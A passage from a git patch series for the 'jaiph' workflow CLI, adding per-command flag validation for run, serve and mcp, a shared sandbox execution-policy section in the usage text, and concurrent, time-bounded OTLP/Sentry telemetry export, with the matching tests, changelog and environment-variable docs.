assert.deepEqual(r.positional, ["flow.jh"], `${command}: positional`); + } +}); + +test("parseArgs: --unsafe and -y are accepted by serve and mcp", () => { + for (const command of ["serve", "mcp"] as const) { + const r = parseArgs(["--unsafe", "-y", "flow.jh"], command); + assert.equal(r.unsafe, true); + assert.equal(r.yes, true); + } +}); + +test("parseArgs: run rejects serve's transport flags, naming the owning command", () => { + assert.throws(() => parseArgs(["--host", "0.0.0.0", "flow.jh"], "run"), /--host is not a jaiph run flag.*jaiph serve/); + assert.throws(() => parseArgs(["--port", "8080", "flow.jh"], "run"), /--port is not a jaiph run flag.*jaiph serve/); +}); + +test("parseArgs: serve rejects run-only flags as usage errors", () => { + assert.throws(() => parseArgs(["--target", "/tmp/out", "flow.jh"], "serve"), /--target is not a jaiph serve flag.*jaiph run/); + assert.throws(() => parseArgs(["--raw", "flow.jh"], "serve"), /--raw is not a jaiph serve flag.*jaiph run/); +}); + +test("parseArgs: mcp rejects run-only and serve-only flags as usage errors", () => { + assert.throws(() => parseArgs(["--raw", "flow.jh"], "mcp"), /--raw is not a jaiph mcp flag.*jaiph run/); + assert.throws(() => parseArgs(["--target", "/tmp", "flow.jh"], "mcp"), /--target is not a jaiph mcp flag.*jaiph run/); + assert.throws(() => parseArgs(["--host", "::1", "flow.jh"], "mcp"), /--host is not a jaiph mcp flag.*jaiph serve/); + assert.throws(() => parseArgs(["--port", "1", "flow.jh"], "mcp"), /--port is not a jaiph mcp flag.*jaiph serve/); +}); + +test("parseArgs: an unknown flag is a usage error, not a positional", () => { + assert.throws(() => parseArgs(["--bogus", "flow.jh"], "run"), /unknown flag --bogus for jaiph run/); + assert.throws(() => parseArgs(["-x", "flow.jh"], "serve"), /unknown flag -x for jaiph serve/); + assert.throws(() => parseArgs(["--bogus=1", "flow.jh"], "mcp"), /unknown flag --bogus for jaiph mcp/); +}); + +test("parseArgs: jaiph run's unknown-flag error points at -- for dash-leading workflow args", () => { + assert.throws(() => parseArgs(["flow.jh", "-v5"], "run"), /Use `--` before workflow arguments/); +}); + +test("parseArgs: rejected flags are still fine after -- (workflow args untouched)", () => { + const r = parseArgs(["flow.jh", "--", "--host", "--bogus", "-x"], "mcp"); + assert.deepEqual(r.positional, ["flow.jh", "--host", "--bogus", "-x"]); +}); + +test("parseArgs: a bare '-' stays positional", () => { + const r = parseArgs(["-", "flow.jh"], "run"); + assert.deepEqual(r.positional, ["-", "flow.jh"]); +}); + // --------------------------------------------------------------------------- // printUsage: lists the new flags under `jaiph run` // --------------------------------------------------------------------------- @@ -272,3 +336,26 @@ test("printUsage: example shows --inplace + --workspace combo", () => { "examples block has the documented --inplace + --workspace combo", ); }); + +test("printUsage: documents the shared execution policy (precedence + consent) once", () => { + const cap = captureStdout(); + try { + printUsage(); + } finally { + cap.restore(); + } + const text = cap.text(); + assert.ok(text.includes("Execution policy (shared by jaiph run, jaiph serve, jaiph mcp):")); + assert.ok( + text.includes("CLI flags > JAIPH_* env vars > workflow config"), + "precedence order is spelled out", + ); + assert.ok(text.includes("E_FLAG_CONFLICT"), "posture conflict rule is documented"); + const serveSection = text.slice(text.indexOf("jaiph serve:")); + const mcpSection = text.slice(text.indexOf("jaiph mcp:")); + for (const [label, section] of [["serve", serveSection], ["mcp", mcpSection]] as const) { + assert.ok(section.includes("--inplace"), `jaiph ${label} section mentions --inplace`); + assert.ok(section.includes("--unsafe"), `jaiph ${label} section mentions --unsafe`); + assert.ok(section.includes("--yes"), `jaiph ${label} section mentions --yes`); + } +}); diff --git a/src/cli/shared/usage.ts b/src/cli/shared/usage.ts index a9b71471..d9316406 100644 --- a/src/cli/shared/usage.ts +++ b/src/cli/shared/usage.ts @@ -14,13 +14,27 @@ export function printUsage(): void { " jaiph use ", " jaiph format [--check] [--indent ] ", " jaiph compile [--json] [--workspace ] ...", - " jaiph mcp [--workspace ] [--env KEY[=VALUE]]... # serve the file's workflows as MCP tools over stdio (alias: jaiph --mcp)", - " jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... # serve workflows as an HTTP API + OpenAPI + Swagger UI", + " jaiph mcp [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... # serve the file's workflows as MCP tools over stdio (alias: jaiph --mcp)", + " jaiph serve [--host ] [--port ] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... # serve workflows as an HTTP API + OpenAPI + Swagger UI", "", "Global options:", " -h, --help show this usage (jaiph --help) — each subcommand also accepts -h / --help", " -v, --version show version", "", + "Execution policy (shared by jaiph run, jaiph serve, jaiph mcp):", + " --workspace , --env KEY[=VALUE], --inplace, --unsafe, and --yes|-y mean the same", + " thing in all three commands. Precedence: CLI flags > JAIPH_* env vars > workflow config", + " metadata > built-in defaults (a flag sets its env var for that process, so the env layer", + " stays the single source of truth consumed by sandbox resolution). --inplace and --unsafe", + " are mutually exclusive (E_FLAG_CONFLICT, before anything is spawned). A flag belonging to", + " another command is a usage error, never a silently-ignored option or a positional.", + " Consent: jaiph run confirms --inplace and unsafe host-only interactively (--yes|-y or", + " JAIPH_INPLACE_YES auto-confirms; non-TTY requires it). jaiph serve / jaiph mcp are", + " operator-launched servers: passing the flag (or env var) at startup is the consent —", + " the effective sandbox posture is resolved and printed once at startup and applied to", + " every call. Inside a container the container itself is the sandbox, so unsafe host-only", + " proceeds with a notice (the runtime image bakes JAIPH_UNSAFE=true).", + "", "jaiph run:", " --target keep emitted script files and run metadata under (default: temp dir, cleaned up)", " --raw skip banner, progress tree, hooks, and failure footer; inherited stdio for embedding / Docker inner run", @@ -31,8 +45,9 @@ export function printUsage(): void { " --env KEY=VALUE define KEY=VALUE in the workflow env (repeatable); --env KEY forwards the host value.", " In a Docker sandbox this is the per-key consent that crosses the env allowlist verbatim.", " -- end of jaiph flags; remaining args are passed to workflow default", - " Note: these flags only affect `jaiph run`; the corresponding env vars (JAIPH_INPLACE,", - " JAIPH_UNSAFE, JAIPH_INPLACE_YES) also apply to other entry points (e.g. `jaiph test`).", + " Note: --inplace/--unsafe/--yes are also accepted by jaiph serve and jaiph mcp (see the", + " execution-policy section above); the corresponding env vars (JAIPH_INPLACE, JAIPH_UNSAFE,", + " JAIPH_INPLACE_YES) additionally apply to other entry points (e.g. `jaiph test`).", "", "jaiph test:", " With no path, discovers *.test.jh under the workspace root. Extra arguments after an optional", @@ -60,9 +75,14 @@ export function printUsage(): void { " Serve the file's workflows as MCP tools over stdio. Exposes `export workflow` declarations", " if any exist, otherwise all top-level workflows except channel route targets; `default` is", " exposed only when it is the only workflow, named after the file's basename. Tool descriptions", - " come from `#` comments directly above each workflow. Calls run on the host (like jaiph run --raw).", + " come from `#` comments directly above each workflow.", " --workspace workspace root for import resolution (default: auto-detect).", " --env KEY=VALUE define KEY in every tool call's env (repeatable); --env KEY forwards the host value.", + " --inplace Docker sandbox with the host workspace bind-mounted rw for every call (JAIPH_INPLACE=1).", + " --unsafe every call runs on the host with no sandbox (JAIPH_UNSAFE=true).", + " -y, --yes record auto-consent for the posture (JAIPH_INPLACE_YES=1).", + " Sandbox posture is resolved and printed once at startup and applied to every call", + " (see the shared execution-policy section above).", "", "jaiph serve:", " Serve the file's workflows as an HTTP API with a generated OpenAPI 3.1 document", @@ -76,6 +96,11 @@ export function printUsage(): void { " --port listen port (default: 5247)", " --workspace workspace root for import resolution (default: auto-detect).", " --env KEY=VALUE define KEY in every run's env (repeatable); --env KEY forwards the host value.", + " --inplace Docker sandbox with the host workspace bind-mounted rw for every run (JAIPH_INPLACE=1).", + " --unsafe every run executes on the host with no sandbox (JAIPH_UNSAFE=true).", + " -y, --yes record auto-consent for the posture (JAIPH_INPLACE_YES=1).", + " Sandbox posture is resolved and printed once at startup and applied to every run", + " (see the shared execution-policy section above).", "", "Examples:", " jaiph --help", @@ -179,7 +204,49 @@ export interface ParsedArgs { positional: string[]; } -export function parseArgs(args: string[]): ParsedArgs { +/** Commands that share the execution-policy flag surface. */ +export type CliCommand = "run" | "serve" | "mcp"; + +/** + * Which commands accept each flag. The execution-policy set (`--workspace`, + * `--env`, `--inplace`, `--unsafe`, `--yes`/`-y`) is shared by all three + * commands; the rest are command-specific (display / launch / transport). + * A flag passed to a command outside its row is a usage error, never a + * silently-ignored option or a positional. + */ +const FLAG_COMMANDS: Record = { + "--workspace": ["run", "serve", "mcp"], + "--env": ["run", "serve", "mcp"], + "--inplace": ["run", "serve", "mcp"], + "--unsafe": ["run", "serve", "mcp"], + "--yes": ["run", "serve", "mcp"], + "-y": ["run", "serve", "mcp"], + "--target": ["run"], + "--raw": ["run"], + "--host": ["serve"], + "--port": ["serve"], +}; + +/** + * Reject a token that looks like a flag (`-…` before `--`) but is not accepted + * by this command. Distinguishes "belongs to another command" (named in the + * error) from "unknown everywhere", and points `jaiph run` users at `--` for + * workflow arguments that begin with `-`. + */ +function rejectUnsupportedFlag(name: string, command: CliCommand): never { + const owners = FLAG_COMMANDS[name]; + if (owners) { + throw new Error( + `${name} is not a jaiph ${command} flag (it belongs to ${owners.map((c) => `jaiph ${c}`).join(", ")}). ` + + `Run \`jaiph ${command} --help\` for the supported flags.`, + ); + } + const passthroughHint = + command === "run" ? " Use \`--\` before workflow arguments that start with \`-\`." : ""; + throw new Error(`unknown flag ${name} for jaiph ${command}.${passthroughHint}`); +} + +export function parseArgs(args: string[], command: CliCommand = "run"): ParsedArgs { let target: string | undefined; let raw: boolean | undefined; let workspace: string | undefined; @@ -207,6 +274,12 @@ export function parseArgs(args: string[]): ParsedArgs { inlineValue = arg.slice(eq + 1); } + // Every `-…` token before `--` must be a flag this command supports. + // A bare `-` stays positional (conventional stdin marker). + if (arg.startsWith("-") && arg !== "-" && !FLAG_COMMANDS[name]?.includes(command)) { + rejectUnsupportedFlag(name, command); + } + // Value-taking flags: value comes from `=` or the next token. if (name === "--target" || name === "--workspace") { let val: string | undefined; From 01746151716382233d557dba889a512250f28271 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Sat, 25 Jul 2026 08:34:08 +0200 Subject: [PATCH 14/24] Fix: give every run mode complete, bounded telemetry MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Standalone `jaiph run --raw` previously bypassed the shared OTLP/Sentry export hook, and the two exporters were awaited sequentially so two unreachable backends could hold a completed run — and a server's execution-concurrency slot — for up to two full timeouts. `runWorkflowRaw` now fires the shared export hook after the child exits, gated by `shouldExportRawTelemetry` so a user-invoked raw run exports exactly like a normal run while the inner raw process of a Docker run skips it (the host stays the single exporter, so a container run exports exactly once). The OTLP and Sentry exporters now run concurrently under one flush budget configurable via `JAIPH_TELEMETRY_FLUSH_MS`. On long-lived `jaiph serve` / `jaiph mcp` processes the call layer detaches delivery via `deliverRunTelemetryDetached`, marking the run terminal and releasing its concurrency slot before best-effort export; detached failures are tracked in bounded cumulative metrics with warnings capped. `OTEL_*` / `SENTRY_*` stay operator-side — dropped by the prompt-env allowlist and excluded from Docker forwarding, now pinned by tests. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 4 +- QUEUE.md | 18 -- docs/env-vars.md | 12 +- docs/observability.md | 28 ++- integration/otlp-export.test.ts | 241 ++++++++++++++++++++++- integration/sentry-export.test.ts | 97 +++++++++ src/cli/commands/run.test.ts | 14 +- src/cli/commands/run.ts | 35 ++++ src/cli/exec/call.ts | 10 +- src/cli/telemetry/otlp.test.ts | 122 ++++++++++++ src/cli/telemetry/otlp.ts | 155 ++++++++++++--- src/cli/telemetry/sentry.test.ts | 2 +- src/cli/telemetry/sentry.ts | 48 +++-- src/runtime/docker.test.ts | 35 ++++ src/runtime/docker.ts | 14 ++ src/runtime/kernel/env-allowlist.test.ts | 11 ++ 16 files changed, 768 insertions(+), 78 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 83749c31..8ccca909 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,7 +4,7 @@ - **Serve workflows over HTTP:** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so a CI job, a Kubernetes deployment, or any HTTP client can invoke tested workflows and inspect their runs — no MCP client or local jaiph install required. Bearer-token auth, a concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. -- **Export traces to an OTLP collector:** every run now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: an unreachable or erroring collector produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched. +- **Export traces to an OTLP collector:** every run mode now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. A standard `jaiph run`, a standalone `jaiph run --raw`, and workflows invoked through `jaiph mcp` / `jaiph serve` are all covered (a Docker-sandboxed run is still exported exactly once by the host). Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: the OTLP and Sentry exporters run concurrently under one bounded flush budget (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), and on long-lived `jaiph serve` / `jaiph mcp` processes delivery is detached so an unreachable backend can never delay a terminal result or hold an execution slot — an erroring collector produces one (bounded) stderr warning and leaves the run's exit code, output, and journal untouched. - **Report failed runs to Sentry:** a run that terminates *unsuccessfully* (nonzero exit or a signal) is now pushed to a Sentry error tracker as one error event — enabled by the standard `SENTRY_DSN` — so operators running workflows on a schedule or as a service get alerting and grouping without scraping run directories. The event carries the workflow, the failing step, a credential-redacted output excerpt, and a run-dir pointer, and groups re-occurrences per workflow + failing step. Like trace export it is host-side, end-of-run, adds no runtime dependencies, and is never load-bearing: an unreachable or erroring Sentry produces exactly one stderr warning and leaves the run's exit code and output untouched. Successful runs send nothing. @@ -12,6 +12,8 @@ ## All changes +- **Fix — give every run mode complete, bounded telemetry behavior:** the telemetry hook covered a standard `jaiph run`, HTTP `jaiph serve` calls, and `jaiph mcp` calls, but a standalone `jaiph run --raw` bypassed it (the docs claimed every run was covered) and the two exporters were **awaited sequentially**, so two unreachable backends could hold a completed run — and, on a server, an occupied execution-concurrency slot — for up to two full timeouts. Four gaps closed. **`--raw` now exports:** `runWorkflowRaw` (`src/cli/commands/run.ts`) fires the shared `exportRunTelemetry` hook after the child exits, gated by the new exported `shouldExportRawTelemetry(env)` so a user-invoked standalone raw run exports exactly like a normal run, while the **inner** raw process of a host-orchestrated Docker run skips it — the outer host process is the single exporter for that run, so a container run is still exported exactly once (no double export). The gate reads the new `DOCKER_SANDBOX_ENV` marker (`JAIPH_DOCKER_SANDBOX`), which `buildDockerArgs` (`src/runtime/docker.ts`) now always sets as `-e …=1` on the container; it is covered by the `JAIPH_DOCKER_*` `--env` reservation and excluded from the forwarding allowlist, so it is never user-settable and never auto-forwarded. **Concurrent under one flush budget:** the shared hook now runs the OTLP-trace and Sentry exporters **concurrently** (`runExporters` in `src/cli/telemetry/otlp.ts`, `Promise.all`) under one total flush budget instead of awaiting them back-to-back, so the worst-case post-run flush is one budget, not two. The budget is configurable via the new `JAIPH_TELEMETRY_FLUSH_MS` (default `10000`; a non-positive or unparseable value falls back to the default — `resolveFlushBudgetMs`) and is threaded into both exporters: `postOtlp` and `reportRunFailureToSentry` now take a `timeoutMs` argument instead of each hard-coding a private 10 s cap. **Detached delivery on long-lived processes:** the shared call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and HTTP `jaiph serve` invocation) now calls the new fire-and-forget `deliverRunTelemetryDetached` instead of awaiting `exportRunTelemetry`, so the caller marks the run terminal and releases its execution-concurrency slot **before** best-effort delivery — an unreachable backend can no longer delay a terminal result or hold a slot. Detached failures are tracked in bounded, cumulative counters (`telemetryDeliveryMetrics()` → `{otlpFailures, sentryFailures, warningsEmitted, warningsSuppressed}`) and warnings are capped at `MAX_DELIVERY_WARNINGS` (100) stderr lines before being counted silently, so a server pointed at a dead endpoint cannot grow stderr without bound. The one-shot callers (`jaiph run` completion and standalone `jaiph run --raw`), which must stay alive for the flush, still **await** `exportRunTelemetry`. Each exporter now returns an `ExportOutcome` (`sent` / `skipped` / `failed`) and takes an injectable `warn` sink so the detached path can meter failures. **Telemetry stays operator-side:** `OTEL_*` / `SENTRY_*` are host-only config and must never enter a workflow sandbox — the fail-closed prompt-env allowlist (`scrubPromptEnv`) already drops them and the Docker forwarding allowlist already excludes them; both are now pinned by tests (including the OTLP auth header in `OTEL_EXPORTER_OTLP_HEADERS`), and an explicit `--env` remains the only documented way in. Export failures still never change a workflow's output or exit status. Tests: `src/cli/commands/run.test.ts` (standalone raw exports, docker-inner raw skipped), `src/cli/telemetry/otlp.test.ts` (`resolveFlushBudgetMs` default/override/junk-fallback; two hanging exporters against a black-hole server finish in ~one budget, not two; `deliverRunTelemetryDetached` records both failures in bounded metrics and never throws), `src/runtime/docker.test.ts` (exactly one `JAIPH_DOCKER_SANDBOX=1` marker on the container; `OTEL_*`/`SENTRY_*` dropped by default and forwarded only via explicit `--env`), `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` never leaks `OTEL_*`/`SENTRY_*` — including the OTLP auth header — to a prompt backend), and expanded `integration/otlp-export.test.ts` / `integration/sentry-export.test.ts` (standard run, standalone raw run, MCP, and HTTP each produce one OTLP trace and one Sentry event on failure; a Docker-sandboxed run exports exactly once; an unreachable endpoint cannot delay an HTTP/MCP terminal result or occupied slot beyond a small tested bound). Docs: the every-run-mode coverage note and the concurrent-under-one-budget / detached-delivery / bounded-metrics paragraph in [Export traces to an OTLP collector](docs/observability.md), the `JAIPH_TELEMETRY_FLUSH_MS` row and the `JAIPH_DOCKER_SANDBOX` internal-Docker-only row in [Environment variables](docs/env-vars.md), and the telemetry-section note that the one Jaiph-owned knob bounds — but never enables — delivery. (Follow-up to the OTLP + Sentry telemetry work in this release.) + - **Feat — one execution-policy contract across `jaiph run`, `jaiph serve`, and `jaiph mcp`:** the three commands now share a single flag surface, precedence order, consent model, and lifecycle-hook contract for the same execution engine, instead of `run` exposing sandbox flags while the long-lived servers required env vars and silently ignored anything they did not destructure (`jaiph serve --unsafe` and `jaiph mcp --inplace` parsed successfully but had **no effect**). **Shared flags:** `--workspace`, repeatable `--env KEY[=VALUE]`, `--inplace`, `--unsafe`, and `--yes`/`-y` mean the same thing in all three commands. `parseArgs` (`src/cli/shared/usage.ts`) now takes the invoking `command` and a `FLAG_COMMANDS` table maps each flag to the commands that accept it; a token that looks like a flag (`-…` before `--`) but belongs to another command is a **usage error that names the owner** (`--host is not a jaiph run flag (it belongs to jaiph serve)`), an unknown flag is rejected rather than swallowed as a positional (with a `jaiph run` hint to use `--` for dash-leading workflow args), and a bare `-` still stays positional. Display/transport options stay command-specific: `--target`/`--raw` remain `jaiph run` only, `--host`/`--port` remain `jaiph serve` only. **Precedence:** one documented order everywhere — CLI flags > `JAIPH_*` env vars > workflow runtime metadata > built-in defaults. A flag sets its `JAIPH_*` variable on the launched env for that process (`applySandboxFlags`, `src/cli/run/env.ts`), so the env layer stays the single source of truth sandbox resolution consumes. Contradictory posture is never resolved by precedence: `--inplace`/`JAIPH_INPLACE` together with `--unsafe`/`JAIPH_UNSAFE` fails with **`E_FLAG_CONFLICT` before anything is spawned**, in all three commands. **Resolve-once posture:** `resolveStartupPosture` (`src/cli/shared/generation.ts`) applies the server's sandbox flags, resolves Docker enablement + sandbox mode + the unsafe-host-only gate **once at startup** into a `StartupPosture`, and the shared `logStartupPosture` prints one notice (wording — and the consent story it states — cannot drift between modes). That posture is threaded to every call as an `ExecutionPosture` (`src/cli/exec/call.ts`): `callWorkflow` applies the same `applySandboxFlags` env normalization as `jaiph run` and `callWorkflowDocker` applies the resolved sandbox mode **verbatim** instead of re-deriving it from each call's env. The documented standalone-container exception is preserved — inside a container the container/pod *is* the sandbox, the runtime image bakes `JAIPH_UNSAFE=true`, and unsafe host-only proceeds with a one-line notice. **Consent:** `jaiph run` confirms `--inplace` and unsafe-host-only interactively (`--yes`/`JAIPH_INPLACE_YES` auto-confirms; required non-TTY); for `jaiph serve` / `jaiph mcp`, launching the server with the flag or env var **is** the consent (no prompt), and `--yes`/`JAIPH_INPLACE_YES` is recorded on every call's env. **One hook contract:** the four lifecycle events (`workflow_start`, `step_start`, `step_end`, `workflow_end`) now fire for direct `jaiph run`, HTTP `jaiph serve` runs, and `jaiph mcp` tool calls alike. The `step_start`/`step_end` payload builders were extracted into `stepStartHookPayload`/`stepEndHookPayload` (`src/cli/run/hooks.ts`) and shared by the run emitter and by `callWorkflow`'s `buildStepEventHandler`, which is passed to `attachOutputCollector` on **both** the host and Docker call paths so hook dispatch cannot diverge; `hooks.json` is loaded per generation (`loadMergedHooks` in `loadGeneration`) and re-read on each source reload. Mode differences are now explicit rather than accidental: `jaiph run --raw` and `jaiph test` are documented no-hook lanes. As part of unifying the contract, `workflow_start` now carries the **run id** in `workflow_id` in every mode (direct runs previously emitted it empty). Tests: `integration/exec-policy.test.ts` (new — a table-driven suite runs the same sandbox/env cases through all three modes and asserts the same effective child env and filesystem isolation, that `serve --unsafe`/`serve --inplace`/`mcp --unsafe`/`mcp --inplace` have tested effects, that conflicting posture fails before spawning, and that all four lifecycle hooks fire with the documented payloads for direct/HTTP/MCP), `src/cli/shared/generation-posture.test.ts` (new — the flag → posture mapping with injected docker seams), `src/cli/shared/usage.test.ts` (per-command flag scoping — shared flags parse identically for run/serve/mcp, another command's flags and unknown flags are usage errors, `--` passthrough and bare `-` untouched, and `printUsage` documents the shared precedence + consent once), and `src/cli/commands/run.test.ts` (`E_FLAG_CONFLICT` for `--inplace --unsafe` and for `--inplace` + `JAIPH_UNSAFE=true`, no docker exec or spawn invoked). Docs: a new [Precedence](docs/env-vars.md#precedence) section and updated `JAIPH_INPLACE` / `JAIPH_INPLACE_YES` / `JAIPH_UNSAFE` / `--env` rows in [Environment variables](docs/env-vars.md), the shared flag tables + usage-error and resolve-once notes for `jaiph run` / `jaiph mcp` / `jaiph serve` in [CLI](docs/cli.md), the precedence layer + `E_FLAG_CONFLICT` note in [Configuration](docs/configuration.md#precedence), the "one contract, three invocation modes" section and the corrected `workflow_start` payload in [Add a hook](docs/hooks.md), the sandbox-flag/precedence notes in [Serve workflows as MCP tools](docs/mcp.md) and [Serve workflows over HTTP](docs/serve.md), the hook-dispatch contract line in [Architecture](docs/architecture.md), and the shared execution-policy section in `printUsage`. - **Fix — make `jaiph serve` request, event, and artifact I/O scale with bytes transferred:** the HTTP layer still performed avoidable whole-resource work on four paths, all now proportional to the bytes actually moved. **Request bodies settle on abort:** `readBody` (`src/cli/serve/server.ts`) only settled on `end`/`error`, so a client destroyed mid-upload left the promise pending forever with its buffered chunks pinned; it now settles on premature `close`/`error` with `aborted: true`, the connection handler drops the request without invoking the router, and no run slot is ever occupied (the helper is exported for direct unit testing of the settlement contract). **Run-dir resolution is cached:** the events/artifacts endpoints located a still-running run by scanning the whole `.jaiph/runs` tree (`findRunDir`) on *every* SSE poll until finalize set `run_dir`; `ServeHandler.runDirFor` now caches the first resolver hit on the record (`RunRecord.resolvedRunDir`, never part of the public run object, evicted with the record), so one live SSE connection scans at most once no matter how long it follows. **Journals follow by fd + offset:** the SSE follower reread the entire `run_summary.jsonl` from disk on every 250 ms poll; the new `createJournalFollower` (`src/cli/serve/runfiles.ts`) holds an open file descriptor and a byte offset, reads only appended bytes with positional `readSync`, buffers a partial trailing line in memory instead of rereading it, and is closed in the stream's `finally` so a disconnect releases the fd. **Artifacts (and NDJSON journals) stream:** `GET /v1/runs/{id}/artifacts/{path}` loaded the complete file into memory (`readFileSync`) before responding; the handler now returns a `bodyFile` `{path, size}` that the HTTP layer pipes through `node:stream.pipeline` — backpressure pauses the read when the socket is congested, a client disconnect destroys the file stream, `content-length` is set from the stat and the read is pinned to it (`end: size - 1`) so an appending journal can't overrun the advertised length, and a multi-gigabyte artifact costs no server memory. The NDJSON `GET /v1/runs/{id}/events` path streams the journal the same way. An explicit size policy joins the streaming: `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap, since streaming already bounds memory) refuses larger artifacts with `413 E_ARTIFACT_TOO_LARGE`. Tests (each verified to fail against the pre-fix behavior): `src/cli/serve/server.test.ts` (readBody settles promptly on premature close; a destroyed mid-upload request occupies no run slot, never starts a workflow, and the server keeps serving; a 1 MiB artifact round-trips byte-identically through a real socket with `content-length`; a stalled 256 MiB download's file stream is destroyed when the client disconnects), `src/cli/serve/handler.test.ts` (a live SSE connection resolves the run dir with exactly one scan across many polls; the artifact cap returns 413 past the limit while smaller files stream; NDJSON/artifact responses carry `bodyFile` + `content-length`), `src/cli/serve/runfiles.test.ts` (an instrumented-`fs` SSE follow proves each appended journal byte is read exactly once and never before the current offset, and that no poll loads the journal whole; the follower completes a split line from its buffered tail), and `integration/serve-server.test.ts` (a 3 GiB sparse artifact streams to a real client with the serve process's RSS sampled below 1.5 GiB throughout — a buffering server would hold 3 GiB+). Docs: a streaming-download + `JAIPH_SERVE_MAX_ARTIFACT_BYTES` note in the artifact-download step of [Serve workflows over HTTP](docs/serve.md), the `JAIPH_SERVE_MAX_ARTIFACT_BYTES` row in [Environment variables](docs/env-vars.md), the artifact/events endpoint rows plus the `413 E_ARTIFACT_TOO_LARGE` error code and serve-limits bullet in [CLI](docs/cli.md#jaiph-serve), and the `jaiph serve` usage text. diff --git a/QUEUE.md b/QUEUE.md index 7d668a5e..b2aaef93 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,24 +14,6 @@ Process rules: *** -## Give every run mode complete, bounded telemetry behavior #dev-ready - -Normal `jaiph run`, HTTP calls, and MCP calls invoke the shared OTLP/Sentry hook, but `jaiph run --raw` bypasses it while the docs claim every run is covered. OTLP and Sentry are awaited sequentially, so unavailable backends can hold a completed run and a service concurrency slot for up to 20 seconds despite being described as non-load-bearing. - -Scope: - -- Export telemetry for a user-invoked standalone `jaiph run --raw` without double-exporting the inner raw process used by host-orchestrated Docker. -- Run independent exporters concurrently under one configurable total flush budget. -- In long-lived HTTP/MCP processes, mark the run terminal and release execution concurrency before best-effort delivery; track delivery failures through bounded logging/metrics. -- Keep telemetry operator-side: `OTEL_*` and `SENTRY_*` values must not enter workflow sandboxes unless explicitly passed as workflow env. - -Acceptance: - -- Standard run, standalone raw run, MCP, and HTTP each produce one OTLP trace; each failed mode produces one Sentry event. -- A Docker-sandboxed run still exports exactly once. -- Unreachable telemetry endpoints cannot delay an HTTP/MCP terminal result or occupied execution slot beyond a small tested bound. -- Export failures never change workflow output or exit status. - ## Expose HTTP API and network MCP from one service process #dev-ready Today `jaiph serve` is HTTP-only and `jaiph mcp` is stdio-only. The same file can be exposed by two separate processes, but there is no single deployed company service that serves both protocols or a Kubernetes-addressable MCP endpoint. diff --git a/docs/env-vars.md b/docs/env-vars.md index ab349759..2fa9560c 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -99,6 +99,7 @@ Contradictory posture is never resolved by precedence: `--inplace` / `JAIPH_INPL | `JAIPH_SOURCE_ABS` | internal | path | — | — | Absolute path to the entry `.jh` file. Set by the CLI before spawning the runner. | | `JAIPH_SOURCE_FILE` | internal | string (basename) | entry-file basename | — | Used to name run directories. | | `JAIPH_STDLIB` | host | path | — | — | Removed from the product. Stripped from the launched env. | +| `JAIPH_TELEMETRY_FLUSH_MS` | host | int (ms) | `10000` | — | Total flush budget for the post-run telemetry hook. The OTLP-trace and Sentry exporters run concurrently, each bounded by this, so the whole flush cannot exceed it. A non-positive or unparseable value falls back to the default. Best-effort only — never load-bearing on the run. | | `JAIPH_TEST_MODE` | runtime | bool (exact `"1"`) | `false` | — | Set by `jaiph test` so the runtime skips production-only branches (e.g. file-mode normalization). | | `JAIPH_UNSAFE` | host | bool (`true` only) | `false` | — | Disable Docker for this run; execute on the host with **no sandbox** (entire filesystem and host environment visible to scripts and agent backends). `--unsafe` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp` (flag wins: it sets this variable for that process). Mutually exclusive with `JAIPH_INPLACE` / `--inplace` (`E_FLAG_CONFLICT`). When this turns Docker off while it would otherwise be on, `jaiph run` requires consent: a TTY warning + `Continue? [y/N]` (default no), or `JAIPH_INPLACE_YES` / `--yes` non-interactively (else `E_UNSAFE_NO_CONFIRM`). `jaiph serve` / `jaiph mcp` never prompt: launching the server with the flag or env var is the consent, and the effective posture is printed once at startup and applied to every call. No prompt when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, Windows host-only override) or on `jaiph run --raw`. The `ghcr.io/jaiphlang/jaiph-runtime` image **bakes `JAIPH_UNSAFE=true`** so it can run standalone (`docker run … jaiph run flow.jh`, or as a k8s pod) — inside the image the container is the sandbox and unsafe host-only proceeds with a one-line notice; see [Deploy](deploy.md). | | `JAIPH_WORKSPACE` | host, runtime | path | autodetected | — | Workspace root. Inside Docker the host CLI overrides this to `/jaiph/workspace`. | @@ -107,11 +108,12 @@ Contradictory posture is never resolved by precedence: `--inplace` / `JAIPH_INPL ### Internal Docker-only variables -One more variable is set by the host CLI on the Docker container but is **not** in the table above: the source-parity harness tracks only names accessed through a literal `env.JAIPH_*` / `process.env["JAIPH_*"]` read in `src/`, and this one escapes that pattern. It is managed entirely by the CLI — never export it by hand. +Two variables are set by the host CLI on the Docker container but are **not** in the table above: the source-parity harness tracks only names accessed through a literal `env.JAIPH_*` / 